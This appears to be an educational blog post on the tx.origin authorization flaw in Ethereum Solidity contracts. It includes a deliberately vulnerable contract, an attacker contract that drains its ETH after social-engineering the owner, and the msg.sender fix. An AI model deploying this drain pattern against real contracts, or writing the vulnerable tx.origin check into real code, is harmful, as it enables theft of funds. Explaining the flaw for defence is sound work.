Authorization is something to be taken seriously, especially in the blockchain world. In Ethereum there is a concept of tx.origin, which sounds very useful and can be when used correctly, but it is limited in the scope of what it can accomplish.
The idea behind tx.origin is to indicate who originated the transaction. However, as we will soon see this can be misleading and opens contracts up to the possibility of being exploited.
Vulnerable Contract
pragma solidity ^0.8.4; /// This contract is vulnerable to an attack based on using tx.origin as authorization contract VulnerableContract { address public owner; constructor() payable { owner = msg.sender; } /// Allow anyone to deposit ETH into the contract function deposit () payable external { } /// Allow only the owner to send ETH to _to address function sendTo(address payable _to, uint256 _amount) public { require(tx.origin == owner); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } }
In the example we have a simple contract with an owner and the ability for that owner to send ETH to another address.
The require
function is making sure the tx.origin and owner are the same. This is intended to prevent any unauthorized addresses from withdrawing ETH.
Let’s see how this can be exploited
Attacker Contract
/// AttackContract is used to demo how an attack can exploit the tx.origin property contract AttackerContract { address payable public owner; VulnerableContract vulnerableContract; constructor(VulnerableContract _vulnerableContract) { vulnerableContract = VulnerableContract(_vulnerableContract); owner = payable(msg.sender); } /// Call sendTo draining all ETH from the vulnerable contract into this contract function attack() public { vulnerableContract.sendTo(owner, address(vulnerableContract).balance); } }
This contract will call the sendTo
function on the vulnerable contract and have it send all the ETH of that contract to the attacker contract.
Now, all the attacker has to do is convince the owner of the vulnerable contract to call the attack function.
Poorly named on my part if I wanted to convince someone, but how great does a function called itsForTheKids
sound? I am just asking for a small donation to help the kids.
Since it was the owner of the vulnerable contract who initiated the transaction, require(tx.origin == owner)
will succeed and allow the attacker to withdraw all the ETH.
Prevention
The easiest way to prevent this from occurring is to use msg.sender
instead of tx.origin
. So, the vulnerable contract’s sendTo
function would now look like this.
/// Allow only the owner to send ETH to _to address function sendTo(address payable _to, uint256 _amount) public { require(msg.sender == owner); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); }
Use Case For tx.origin
If you take anything away from this, just know using tx.origin for authorization is not a good idea. However, there are a couple use cases for tx.origin.
By using tx.origin you are able to check what address initiated the call to your contract. This could be useful if you wanted to allow/deny an address from being able to interact with your contract.
A second used case is to keep track of how often an address is initiating a call to your contract. You would be able to use tx.origin and a counter to track which addresses are initiating the most calls.